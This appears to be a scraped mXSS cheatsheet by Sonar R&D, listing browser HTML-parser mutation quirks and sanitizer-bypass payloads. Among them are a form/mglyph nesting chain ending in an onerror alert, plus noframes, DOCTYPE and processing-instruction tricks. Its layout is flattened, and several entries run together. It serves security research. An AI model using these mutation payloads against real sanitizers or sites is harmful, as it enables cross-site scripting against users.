This cheatsheet is your one-stop shop for diving deep into the fascinating world of mXSS (mutations caused by browser quirks in HTML parsing). Forget sifting through the official 1500~ page spec – here’s a curated list of examples that showcase these unexpected behaviors.
What’s in it for you?
If you would like to know more on this topic, you can visit:
Contributing
Contributions to this list are very welcome. Feel free to open issues on the repository if you would like to see more information on a specific topic, or a pull request if you are already aware of additional information. Links to public write-ups are appreciated when adding info.
The project is maintained by the Sonar R&D team. Find XSS in your code (and much more) with SonarCloud, free for open-source projects!
<select><a> → <select><select>, <input>, <keygen> and <textarea>: <select><style><input><a> → <select></select><input><a></a>
<form id=form1>INSIDE_FORM1<form id=form2>INSIDE_FORM2 → <form id="form1">INSIDE_FORM1 INSIDE_FORM2</form><form id="outer"><div></form><form id="inner"><input> → <form id="outer"><div><form id="inner"><input></form></div></form> → <form id="outer"><div><input></div></form><form id="outer"><math><mtext></form><form id="inner"><mglyph><svg><mtext><form id="outer"><mi></form><form id="inner"><mglyph><desc><xmp><img src=x onerror=alert(1)>
<table><a> → <a></a><table></table><p><table><xmp> → <p><xmp></xmp><table></table></p> → <p></p><xmp></xmp><table></table><a><mglyph><table><a> → <a><mglyph><a></a><table></table></mglyph></a> → <a><mglyph></mglyph><a></a><table></table></a><p><table><ul> → <p><ul></ul><table></table></p> → <p></p><ul></ul><table></table><p></p>tbody, tr,and td will be removed outside of the table
<a id=1><table><a id=2> → <a id="1"><a id="2"></a><table></table></a> → <a id="1"></a><a id="2"></a><table></table><a id=1><audio>aa<altglyphdef><animatecolor><filter><fieldset><a id=2></fieldset></a>
<h1><h2> → <h1></h1><h2></h2> <h1><a><h2></a> → <h1><a></a><h2><a></a></h2></h1> → <h1><a></a></h1><h2><a></a></h2>
<noscript><a> → <noscript><a></noscript><noscript><a> → <noscript><a></a></noscript>
</p> → <p></p>p element: address, article, aside, blockquote, center, details, dialog, dir, div, dl, fieldset, figcaption, figure, footer, header, hgroup, main, menu, nav, ol, p, search, section, summary, ul, pre, listing, plaintext
plaintext can’t be closed in HTML namespace but <table><plaintext><a> → <plaintext><a></plaintext><table></table> table will execute
<textarea><!-- test -> → <textarea> <!--test--></textarea>
a, b, big, code, em, font, i, nobr, s, small, strike, strong, tt, and u<li><a><table><li>t → <li><a><li>t</li><table></table></a></li> → <li><a></a></li><li><a>t</a></li><table></table>NULL byte
a=new window.DOMParser().parseFromString(`<a\x00 id="test">`,"text/html");
a.querySelector(`#test`).tagName.substr(1).charCodeAt() == 65533;
>>> true
is attribute
a=new DOMParser().parseFromString('<a is="to-delete">', "text/html");
a.body.firstChild.removeAttribute("is");
a.getRootNode().body.firstChild;
>>> <a>​</a>​
a.getRootNode().body.firstChild.outerHTML;
>>> '<a is="to-delete"></a>'
<!, </, <?, <!-) the first following occurrence of greater than > will close the comment:
<! comment > outside of comment
<!-- comment > still in comment -->
HTML integration points
foreignObject, desc, and title elementsimage element
image is allowed in svg but in HTML it will change to img, which is a foreign content breakerHTML integration points
mi, mo, mn, ms, and mtext elementsannotation-xml element
annotation-xml, or in an HTML integration point: <math><annotation-xml><svg> But not <math><annotation-xml><x><svg>encoding attribute is set to text/htmlmglyph/malignmark elements
mglyph or malignmark tags is a direct descendant of HTML integration point, the element (and its descendant) will be in MATHML namespaceThe following tags
b, big, blockquote, body, br, center, code, dd, div, dl, dt, em, embed, h1, h2, h3, h4, h5, h6, head, hr, i, img, li, listing, menu, meta, nobr, ol, p, pre, ruby, s, small, span, strong, strike, sub, sup, table, tt, u, ul, varThe font element
color, face, or sizeThe head and body element
<svg><body><a> → <svg></svg><a></a>Document fragment parsing
innerHTML, insertAdjacentHTML, etc.iframe’s srcdoc, document rendering<svg><div> → <svg><div></div></svg> (not only div but rather all breaking foreign content elements)<svg><div> → <svg></svg><div></div> (same expected)RCDATA/RAWTEXT elements
<noframes><style></noframes><xss></style></noframes>Comments
—>. On the other hand, the HTML specification states that a comment’s text “must not start with the string >, nor start with the string ->”.
Input: <!--><p>
HTML5 output: <!----><p></p>
HTML4 output: <!--><p>-->
This can be done with either <!--> or <!--->.
Foreign content elements
DOCTYPE element
!DOCTYPE element in XML/XHTML is more complex allowing more characters and element nesting than in HTML5. In contrast, the HTML doctype ends with the first occurrence of the “greater than” sign >.
The following payload can be used if the parser doesn’t follow HTML5’s DOCTYPE rules:
<!DOCTYPE HTML PUBLIC "-//W3C//DTDHTML4.01//EN" "><xss>">
<!DOCTYPE HTML SYSTEM "><xss>">
Element name starting with underscrool
Input: <p><_test>/<p>
HTML output: <p><_test/>/<p>
XML output: <p><_test/>/<p>
Processing instruction
? follows an open tag chr <. The following payload can be used: <?x --><xss> ?> if the sanitizer accepts PI.In the content of noscript
In the content of style only in svg/mathML namespaces
Integration points: HTML Standard
Breaking foreign content tags: HTML Standard
RCDATA/RAWTEXT elements: HTML Standard
Serializing HTML fragments: HTML Standard
Element types: HTML Standard